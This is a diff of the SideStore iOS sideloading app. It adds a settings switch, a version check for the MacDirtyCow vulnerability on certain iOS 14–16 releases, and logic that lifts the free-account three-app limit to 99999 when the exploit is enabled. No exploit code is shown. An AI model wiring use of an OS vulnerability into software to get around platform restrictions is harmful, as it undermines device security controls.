<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N"> <tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/> <rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm"> <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
<rect key="frame" x="30" y="15.5" width="140" height="20.5"/> <rect key="frame" x="30" y="15.5" width="140" height="20.5"/>
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
@@ -619,7 +659,7 @@
</userDefinedRuntimeAttributes> </userDefinedRuntimeAttributes>
</tableViewCell> </tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target"> <tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="1074" width="375" height="51"/> <rect key="frame" x="0.0" y="1165" width="375" height="51"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg"> <tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/> <rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
@@ -665,12 +705,13 @@
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/> <outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/> <outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/> <outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
<outlet property="enableCowExploitSwitch" destination="Oie-te-KSQ" id="jKn-t1-gyk"/>
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/> <outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
</connections> </connections>
</tableViewController> </tableViewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="SI0-mJ-Wad" userLabel="First Responder" sceneMemberID="firstResponder"/> <placeholder placeholderIdentifier="IBFirstResponder" id="SI0-mJ-Wad" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects> </objects>
<point key="canvasLocation" x="879" y="44"/> <point key="canvasLocation" x="877.60000000000002" y="43.628185907046479"/>
</scene> </scene>
<!--Settings--> <!--Settings-->
<scene sceneID="L0E-XA-SxK"> <scene sceneID="L0E-XA-SxK">

View File

@@ -6,17 +6,17 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import UIKit
import SafariServices
import MessageUI
import Intents import Intents
import IntentsUI import IntentsUI
import MessageUI
import SafariServices
import UIKit
import AltStoreCore import AltStoreCore
extension SettingsViewController private extension SettingsViewController
{ {
fileprivate enum Section: Int, CaseIterable enum Section: Int, CaseIterable
{ {
case signIn case signIn
case account case account
@@ -24,23 +24,25 @@ extension SettingsViewController
case appRefresh case appRefresh
case instructions case instructions
case credits case credits
case cowExploit
case debug case debug
} }
fileprivate enum AppRefreshRow: Int, CaseIterable enum AppRefreshRow: Int, CaseIterable
{ {
case backgroundRefresh case backgroundRefresh
@available(iOS 14, *) @available(iOS 14, *)
case addToSiri case addToSiri
static var allCases: [AppRefreshRow] { static var allCases: [AppRefreshRow]
{
guard #available(iOS 14, *) else { return [.backgroundRefresh] } guard #available(iOS 14, *) else { return [.backgroundRefresh] }
return [.backgroundRefresh, .addToSiri] return [.backgroundRefresh, .addToSiri]
} }
} }
fileprivate enum CreditsRow: Int, CaseIterable enum CreditsRow: Int, CaseIterable
{ {
case developer case developer
case operations case operations
@@ -48,7 +50,7 @@ extension SettingsViewController
case softwareLicenses case softwareLicenses
} }
fileprivate enum DebugRow: Int, CaseIterable enum DebugRow: Int, CaseIterable
{ {
case sendFeedback case sendFeedback
case refreshAttempts case refreshAttempts
@@ -72,10 +74,12 @@ final class SettingsViewController: UITableViewController
@IBOutlet private var accountTypeLabel: UILabel! @IBOutlet private var accountTypeLabel: UILabel!
@IBOutlet private var backgroundRefreshSwitch: UISwitch! @IBOutlet private var backgroundRefreshSwitch: UISwitch!
@IBOutlet private var enableCowExploitSwitch: UISwitch!
@IBOutlet private var versionLabel: UILabel! @IBOutlet private var versionLabel: UILabel!
override var preferredStatusBarStyle: UIStatusBarStyle { override var preferredStatusBarStyle: UIStatusBarStyle
{
return .lightContent return .lightContent
} }
@@ -147,7 +151,8 @@ private extension SettingsViewController
} }
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
self.enableCowExploitSwitch.isOn = UserDefaults.standard.enableCowExploit
if self.isViewLoaded if self.isViewLoaded
{ {
self.tableView.reloadData() self.tableView.reloadData()
@@ -203,6 +208,16 @@ private extension SettingsViewController
case .instructions: case .instructions:
break break
case .cowExploit:
if isHeader
{
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("EXPLOITS", comment: "")
}
else
{
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Your device supports the M_D_C exploit. When this setting is on, the exploit is used to enable you to sideload more than 3 apps at a time. (warning: might be unstable)", comment: "")
}
case .credits: case .credits:
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "") settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
@@ -223,14 +238,28 @@ private extension SettingsViewController
let size = settingsHeaderFooterView.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize) let size = settingsHeaderFooterView.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize)
return size.height return size.height
} }
func isSectionHidden(_ section: Section) -> Bool
{
switch section
{
case .cowExploit:
let isHidden = !(UserDefaults.standard.isCowExploitSupported)
return isHidden
default: return false
}
}
} }
private extension SettingsViewController private extension SettingsViewController
{ {
func signIn() func signIn()
{ {
AppManager.shared.authenticate(presentingViewController: self) { (result) in AppManager.shared.authenticate(presentingViewController: self)
DispatchQueue.main.async { { result in
DispatchQueue.main.async
{
switch result switch result
{ {
case .failure(OperationError.cancelled): case .failure(OperationError.cancelled):
@@ -253,8 +282,10 @@ private extension SettingsViewController
{ {
func signOut() func signOut()
{ {
DatabaseManager.shared.signOut { (error) in DatabaseManager.shared.signOut
DispatchQueue.main.async { { error in
DispatchQueue.main.async
{
if let error = error if let error = error
{ {
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
@@ -269,7 +300,7 @@ private extension SettingsViewController
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to sign out?", comment: ""), message: NSLocalizedString("You will no longer be able to install or refresh apps once you sign out.", comment: ""), preferredStyle: .actionSheet) let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to sign out?", comment: ""), message: NSLocalizedString("You will no longer be able to install or refresh apps once you sign out.", comment: ""), preferredStyle: .actionSheet)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Sign Out", comment: ""), style: .destructive) { _ in signOut() }) alertController.addAction(UIAlertAction(title: NSLocalizedString("Sign Out", comment: ""), style: .destructive) { _ in signOut() })
alertController.addAction(.cancel) alertController.addAction(.cancel)
//Fix crash on iPad // Fix crash on iPad
alertController.popoverPresentationController?.barButtonItem = sender alertController.popoverPresentationController?.barButtonItem = sender
self.present(alertController, animated: true, completion: nil) self.present(alertController, animated: true, completion: nil)
} }
@@ -279,6 +310,16 @@ private extension SettingsViewController
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
} }
@IBAction func toggleenableCowExploit(_ sender: UISwitch)
{
UserDefaults.standard.enableCowExploit = sender.isOn
if UserDefaults.standard.activeAppsLimit != nil
{
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
}
}
@available(iOS 14, *) @available(iOS 14, *)
@IBAction func addRefreshAppsShortcut() @IBAction func addRefreshAppsShortcut()
{ {
@@ -304,7 +345,8 @@ private extension SettingsViewController
} }
else else
{ {
self.debugGestureTimer = Timer.scheduledTimer(withTimeInterval: 0.4, repeats: false) { [weak self] (timer) in self.debugGestureTimer = Timer.scheduledTimer(withTimeInterval: 0.4, repeats: false)
{ [weak self] _ in
self?.debugGestureCounter = 0 self?.debugGestureCounter = 0
} }
} }
@@ -313,7 +355,8 @@ private extension SettingsViewController
func openTwitter(username: String) func openTwitter(username: String)
{ {
let twitterAppURL = URL(string: "twitter://user?screen_name=" + username)! let twitterAppURL = URL(string: "twitter://user?screen_name=" + username)!
UIApplication.shared.open(twitterAppURL, options: [:]) { (success) in UIApplication.shared.open(twitterAppURL, options: [:])
{ success in
if success if success
{ {
if let selectedIndexPath = self.tableView.indexPathForSelectedRow if let selectedIndexPath = self.tableView.indexPathForSelectedRow
@@ -339,7 +382,8 @@ private extension SettingsViewController
{ {
guard self.presentedViewController == nil else { return } guard self.presentedViewController == nil else { return }
UIView.performWithoutAnimation { UIView.performWithoutAnimation
{
self.navigationController?.popViewController(animated: false) self.navigationController?.popViewController(animated: false)
self.performSegue(withIdentifier: "showPatreon", sender: nil) self.performSegue(withIdentifier: "showPatreon", sender: nil)
} }
@@ -365,6 +409,7 @@ extension SettingsViewController
let section = Section.allCases[section] let section = Section.allCases[section]
switch section switch section
{ {
case _ where self.isSectionHidden(section): return 0
case .signIn: return (self.activeTeam == nil) ? 1 : 0 case .signIn: return (self.activeTeam == nil) ? 1 : 0
case .account: return (self.activeTeam == nil) ? 0 : 3 case .account: return (self.activeTeam == nil) ? 0 : 3
case .appRefresh: return AppRefreshRow.allCases.count case .appRefresh: return AppRefreshRow.allCases.count
@@ -393,9 +438,10 @@ extension SettingsViewController
let section = Section.allCases[section] let section = Section.allCases[section]
switch section switch section
{ {
case _ where self.isSectionHidden(section): return nil
case .signIn where self.activeTeam != nil: return nil case .signIn where self.activeTeam != nil: return nil
case .account where self.activeTeam == nil: return nil case .account where self.activeTeam == nil: return nil
case .signIn, .account, .patreon, .appRefresh, .credits, .debug: case .signIn, .account, .patreon, .appRefresh, .credits, .cowExploit, .debug:
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
self.prepare(headerView, for: section, isHeader: true) self.prepare(headerView, for: section, isHeader: true)
return headerView return headerView
@@ -409,8 +455,9 @@ extension SettingsViewController
let section = Section.allCases[section] let section = Section.allCases[section]
switch section switch section
{ {
case _ where self.isSectionHidden(section): return nil
case .signIn where self.activeTeam != nil: return nil case .signIn where self.activeTeam != nil: return nil
case .signIn, .patreon, .appRefresh: case .signIn, .patreon, .appRefresh, .cowExploit:
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
self.prepare(footerView, for: section, isHeader: false) self.prepare(footerView, for: section, isHeader: false)
return footerView return footerView
@@ -424,9 +471,10 @@ extension SettingsViewController
let section = Section.allCases[section] let section = Section.allCases[section]
switch section switch section
{ {
case _ where self.isSectionHidden(section): return 1.0
case .signIn where self.activeTeam != nil: return 1.0 case .signIn where self.activeTeam != nil: return 1.0
case .account where self.activeTeam == nil: return 1.0 case .account where self.activeTeam == nil: return 1.0
case .signIn, .account, .patreon, .appRefresh, .credits, .debug: case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .cowExploit:
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true) let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
return height return height
@@ -439,9 +487,10 @@ extension SettingsViewController
let section = Section.allCases[section] let section = Section.allCases[section]
switch section switch section
{ {
case _ where self.isSectionHidden(section): return 1.0
case .signIn where self.activeTeam != nil: return 1.0 case .signIn where self.activeTeam != nil: return 1.0
case .account where self.activeTeam == nil: return 1.0 case .account where self.activeTeam == nil: return 1.0
case .signIn, .patreon, .appRefresh: case .signIn, .patreon, .appRefresh, .cowExploit:
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false) let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
return height return height
@@ -515,8 +564,10 @@ extension SettingsViewController
message: NSLocalizedString("You can reset the pairing file when you cannot sideload apps or enable JIT. You need to restart SideStore.", comment: ""), message: NSLocalizedString("You can reset the pairing file when you cannot sideload apps or enable JIT. You need to restart SideStore.", comment: ""),
preferredStyle: UIAlertController.Style.actionSheet) preferredStyle: UIAlertController.Style.actionSheet)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive){ _ in alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive)
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty { { _ in
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty
{
try? fm.removeItem(atPath: documentsPath.path) try? fm.removeItem(atPath: documentsPath.path)
NSLog("Pairing File Reseted") NSLog("Pairing File Reseted")
} }
@@ -525,22 +576,25 @@ extension SettingsViewController
self.present(dialogMessage, animated: true, completion: nil) self.present(dialogMessage, animated: true, completion: nil)
}) })
alertController.addAction(.cancel) alertController.addAction(.cancel)
//Fix crash on iPad // Fix crash on iPad
alertController.popoverPresentationController?.sourceView = self.tableView alertController.popoverPresentationController?.sourceView = self.tableView
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath) alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
self.present(alertController, animated: true) self.present(alertController, animated: true)
self.tableView.deselectRow(at: indexPath, animated: true) self.tableView.deselectRow(at: indexPath, animated: true)
case .advancedSettings: case .advancedSettings:
// Create the URL that deep links to your app's custom settings. // Create the URL that deep links to your app's custom settings.
if let url = URL(string: UIApplication.openSettingsURLString) { if let url = URL(string: UIApplication.openSettingsURLString)
{
// Ask the system to open that URL. // Ask the system to open that URL.
UIApplication.shared.open(url) UIApplication.shared.open(url)
} else { }
else
{
ELOG("UIApplication.openSettingsURLString invalid") ELOG("UIApplication.openSettingsURLString invalid")
} }
case .refreshAttempts, .errorLog: break case .refreshAttempts, .errorLog: break
} }
case .cowExploit: break
default: break default: break
} }
} }

View File

@@ -381,13 +381,12 @@ private extension SourcesViewController
dispatchGroup.notify(queue: .main) { dispatchGroup.notify(queue: .main) {
if let error = fetchError if let error = fetchError
{ {
finish(.failure(error)) print(error)
} // 1 error doesn't mean all trusted sources failed to load! Riley, why did you do this???????
else // finish(.failure(error))
{
let sources = featuredSourceURLs.compactMap { sourcesByURL[$0] }
finish(.success(sources))
} }
let sources = featuredSourceURLs.compactMap { sourcesByURL[$0] }
finish(.success(sources))
} }
} }
} }

View File

@@ -10,8 +10,7 @@ import Foundation
import Roxas import Roxas
public extension UserDefaults public extension UserDefaults {
{
static let shared: UserDefaults = { static let shared: UserDefaults = {
guard let appGroup = Bundle.main.appGroups.first else { return .standard } guard let appGroup = Bundle.main.appGroups.first else { return .standard }
@@ -43,25 +42,27 @@ public extension UserDefaults
@NSManaged var trustedSourceIDs: [String]? @NSManaged var trustedSourceIDs: [String]?
@nonobjc
var activeAppsLimit: Int? { var activeAppsLimit: Int? {
get { get {
return self._activeAppsLimit?.intValue return self._activeAppsLimit?.intValue
} }
set { set {
if let value = newValue if let value = newValue {
{
self._activeAppsLimit = NSNumber(value: value) self._activeAppsLimit = NSNumber(value: value)
} }
else else {
{
self._activeAppsLimit = nil self._activeAppsLimit = nil
} }
} }
} }
@NSManaged @objc(activeAppsLimit) private var _activeAppsLimit: NSNumber? @NSManaged @objc(activeAppsLimit) private var _activeAppsLimit: NSNumber?
class func registerDefaults() @NSManaged var enableCowExploit: Bool
{ @NSManaged var isCowExploitSupported: Bool
class func registerDefaults() {
let ios13_5 = OperatingSystemVersion(majorVersion: 13, minorVersion: 5, patchVersion: 0) let ios13_5 = OperatingSystemVersion(majorVersion: 13, minorVersion: 5, patchVersion: 0)
let isLegacyDeactivationSupported = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5) let isLegacyDeactivationSupported = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5)
let activeAppLimitIncludesExtensions = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5) let activeAppLimitIncludesExtensions = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5)
@@ -69,15 +70,31 @@ public extension UserDefaults
let ios14 = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0) let ios14 = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
let localServerSupportsRefreshing = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14) let localServerSupportsRefreshing = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14)
let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0)
let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0)
let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
// MacDirtyCow supports iOS 14.0 - 15.7.1 OR 16.0 - 16.1.2
let isCowExploitSupported =
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
let defaults = [ let defaults = [
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true, #keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported, #keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions, #keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing, #keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
#keyPath(UserDefaults.requiresAppGroupMigration): true #keyPath(UserDefaults.requiresAppGroupMigration): true,
#keyPath(UserDefaults.enableCowExploit): true,
#keyPath(UserDefaults.isCowExploitSupported): isCowExploitSupported,
] ]
UserDefaults.standard.register(defaults: defaults) UserDefaults.standard.register(defaults: defaults)
UserDefaults.shared.register(defaults: defaults) UserDefaults.shared.register(defaults: defaults)
if !isCowExploitSupported {
// Disable enableCowExploit if running iOS version that doesn't support MacDirtyCow.
UserDefaults.standard.enableCowExploit = false
}
} }
} }

View File

@@ -56,6 +56,7 @@
<attribute name="certificateSerialNumber" optional="YES" attributeType="String"/> <attribute name="certificateSerialNumber" optional="YES" attributeType="String"/>
<attribute name="expirationDate" attributeType="Date" usesScalarValueType="NO"/> <attribute name="expirationDate" attributeType="Date" usesScalarValueType="NO"/>
<attribute name="hasAlternateIcon" attributeType="Boolean" defaultValueString="NO" usesScalarValueType="YES"/> <attribute name="hasAlternateIcon" attributeType="Boolean" defaultValueString="NO" usesScalarValueType="YES"/>
<attribute name="hasUpdate" optional="YES" attributeType="Boolean" usesScalarValueType="YES"/>
<attribute name="installedDate" attributeType="Date" usesScalarValueType="NO"/> <attribute name="installedDate" attributeType="Date" usesScalarValueType="NO"/>
<attribute name="isActive" attributeType="Boolean" defaultValueString="YES" usesScalarValueType="YES"/> <attribute name="isActive" attributeType="Boolean" defaultValueString="YES" usesScalarValueType="YES"/>
<attribute name="isRefreshing" transient="YES" attributeType="Boolean" defaultValueString="NO" usesScalarValueType="YES"/> <attribute name="isRefreshing" transient="YES" attributeType="Boolean" defaultValueString="NO" usesScalarValueType="YES"/>

View File

@@ -6,13 +6,28 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import Foundation
import CoreData import CoreData
import Foundation
import AltSign import AltSign
import SemanticVersion
// Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1. // Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1.
public let ALTActiveAppsLimit = 3 public extension InstalledApp
{
static var freeAccountActiveAppsLimit: Int
{
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
{
return 99999
}
else
{
// Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1.
return 3
}
}
}
public protocol InstalledAppProtocol: Fetchable public protocol InstalledAppProtocol: Fetchable
{ {
@@ -55,20 +70,40 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
@NSManaged public private(set) var loggedErrors: NSSet /* Set<LoggedError> */ // Use NSSet to avoid eagerly fetching values. @NSManaged public private(set) var loggedErrors: NSSet /* Set<LoggedError> */ // Use NSSet to avoid eagerly fetching values.
public var isSideloaded: Bool { public var isSideloaded: Bool
{
return self.storeApp == nil return self.storeApp == nil
} }
public var appIDCount: Int { @objc public var hasUpdate: Bool
{
if self.storeApp == nil { return false }
if self.storeApp!.latestVersion == nil { return false }
let currentVersion = SemanticVersion(self.version)
let latestVersion = SemanticVersion(self.storeApp!.latestVersion!.version)
if currentVersion == nil || latestVersion == nil
{
// One of the versions is not valid SemVer, fall back to comparing the version strings by character
return self.version < self.storeApp!.latestVersion!.version
}
return currentVersion! < latestVersion!
}
public var appIDCount: Int
{
return 1 + self.appExtensions.count return 1 + self.appExtensions.count
} }
public var requiredActiveSlots: Int { public var requiredActiveSlots: Int
{
let requiredActiveSlots = UserDefaults.standard.activeAppLimitIncludesExtensions ? self.appIDCount : 1 let requiredActiveSlots = UserDefaults.standard.activeAppLimitIncludesExtensions ? self.appIDCount : 1
return requiredActiveSlots return requiredActiveSlots
} }
private override init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?) override private init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?)
{ {
super.init(entity: entity, insertInto: context) super.init(entity: entity, insertInto: context)
} }
@@ -116,7 +151,8 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
let alternateIconURL = self.alternateIconURL let alternateIconURL = self.alternateIconURL
let fileURL = self.fileURL let fileURL = self.fileURL
DispatchQueue.global().async { DispatchQueue.global().async
{
do do
{ {
if hasAlternateIcon, if hasAlternateIcon,
@@ -147,8 +183,8 @@ public extension InstalledApp
class func updatesFetchRequest() -> NSFetchRequest<InstalledApp> class func updatesFetchRequest() -> NSFetchRequest<InstalledApp>
{ {
let fetchRequest = InstalledApp.fetchRequest() as NSFetchRequest<InstalledApp> let fetchRequest = InstalledApp.fetchRequest() as NSFetchRequest<InstalledApp>
fetchRequest.predicate = NSPredicate(format: "%K == YES AND %K != nil AND %K != %K", fetchRequest.predicate = NSPredicate(format: "%K == YES AND %K == YES",
#keyPath(InstalledApp.isActive), #keyPath(InstalledApp.storeApp), #keyPath(InstalledApp.version), #keyPath(InstalledApp.storeApp.latestVersion.version)) #keyPath(InstalledApp.isActive), #keyPath(InstalledApp.hasUpdate))
return fetchRequest return fetchRequest
} }
@@ -239,7 +275,8 @@ public extension InstalledApp
public extension InstalledApp public extension InstalledApp
{ {
var openAppURL: URL { var openAppURL: URL
{
let openAppURL = URL(string: "altstore-" + self.bundleIdentifier + "://")! let openAppURL = URL(string: "altstore-" + self.bundleIdentifier + "://")!
return openAppURL return openAppURL
} }
@@ -253,7 +290,8 @@ public extension InstalledApp
public extension InstalledApp public extension InstalledApp
{ {
class var appsDirectoryURL: URL { class var appsDirectoryURL: URL
{
let baseDirectory = FileManager.default.altstoreSharedDirectory ?? FileManager.default.applicationSupportDirectory let baseDirectory = FileManager.default.altstoreSharedDirectory ?? FileManager.default.applicationSupportDirectory
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps") let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
@@ -263,7 +301,8 @@ public extension InstalledApp
return appsDirectoryURL return appsDirectoryURL
} }
class var legacyAppsDirectoryURL: URL { class var legacyAppsDirectoryURL: URL
{
let baseDirectory = FileManager.default.applicationSupportDirectory let baseDirectory = FileManager.default.applicationSupportDirectory
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps") let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
print("legacy `appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)") print("legacy `appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)")
@@ -311,27 +350,33 @@ public extension InstalledApp
return installedBackupAppUTI return installedBackupAppUTI
} }
var directoryURL: URL { var directoryURL: URL
{
return InstalledApp.directoryURL(for: self) return InstalledApp.directoryURL(for: self)
} }
var fileURL: URL { var fileURL: URL
{
return InstalledApp.fileURL(for: self) return InstalledApp.fileURL(for: self)
} }
var refreshedIPAURL: URL { var refreshedIPAURL: URL
{
return InstalledApp.refreshedIPAURL(for: self) return InstalledApp.refreshedIPAURL(for: self)
} }
var installedAppUTI: String { var installedAppUTI: String
{
return InstalledApp.installedAppUTI(forBundleIdentifier: self.resignedBundleIdentifier) return InstalledApp.installedAppUTI(forBundleIdentifier: self.resignedBundleIdentifier)
} }
var installedBackupAppUTI: String { var installedBackupAppUTI: String
{
return InstalledApp.installedBackupAppUTI(forBundleIdentifier: self.resignedBundleIdentifier) return InstalledApp.installedBackupAppUTI(forBundleIdentifier: self.resignedBundleIdentifier)
} }
var alternateIconURL: URL { var alternateIconURL: URL
{
return InstalledApp.alternateIconURL(for: self) return InstalledApp.alternateIconURL(for: self)
} }
} }

View File

@@ -6,8 +6,8 @@
// Copyright © 2020 Riley Testut. All rights reserved. // Copyright © 2020 Riley Testut. All rights reserved.
// //
import CoreData
import AltSign import AltSign
import CoreData
@objc(InstalledAppToInstalledAppMigrationPolicy) @objc(InstalledAppToInstalledAppMigrationPolicy)
class InstalledAppToInstalledAppMigrationPolicy: NSEntityMigrationPolicy class InstalledAppToInstalledAppMigrationPolicy: NSEntityMigrationPolicy
@@ -50,7 +50,7 @@ class InstalledAppToInstalledAppMigrationPolicy: NSEntityMigrationPolicy
// We can assume there is an active app limit, // We can assume there is an active app limit,
// but will confirm next time user authenticates. // but will confirm next time user authenticates.
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
} }
return NSNumber(value: isActive) return NSNumber(value: isActive)

View File

@@ -1,8 +1,8 @@
// Configuration settings file format documentation can be found at: // Configuration settings file format documentation can be found at:
// https://help.apple.com/xcode/#/dev745c5c974 // https://help.apple.com/xcode/#/dev745c5c974
MARKETING_VERSION = 0.3.0 MARKETING_VERSION = 0.3.2-f1shy-mdc-16
CURRENT_PROJECT_VERSION = 3020 CURRENT_PROJECT_VERSION = 3050
// Vars to be overwritten by `CodeSigning.xcconfig` if exists // Vars to be overwritten by `CodeSigning.xcconfig` if exists
DEVELOPMENT_TEAM = S32Z3HMYVQ DEVELOPMENT_TEAM = S32Z3HMYVQ

61
CONTRIBUTING.md Normal file
View File

@@ -0,0 +1,61 @@
# Contributing to SideStore
Thank you for your interest in contributing to SideStore! SideStore is a community driven project, and it's made possible by people like you.
There are many ways to contribute to SideStore, so if you aren't a developer, there are still many other ways you can help out:
- [Writing documentation](https://github.com/SideStore/SideStore-Docs)
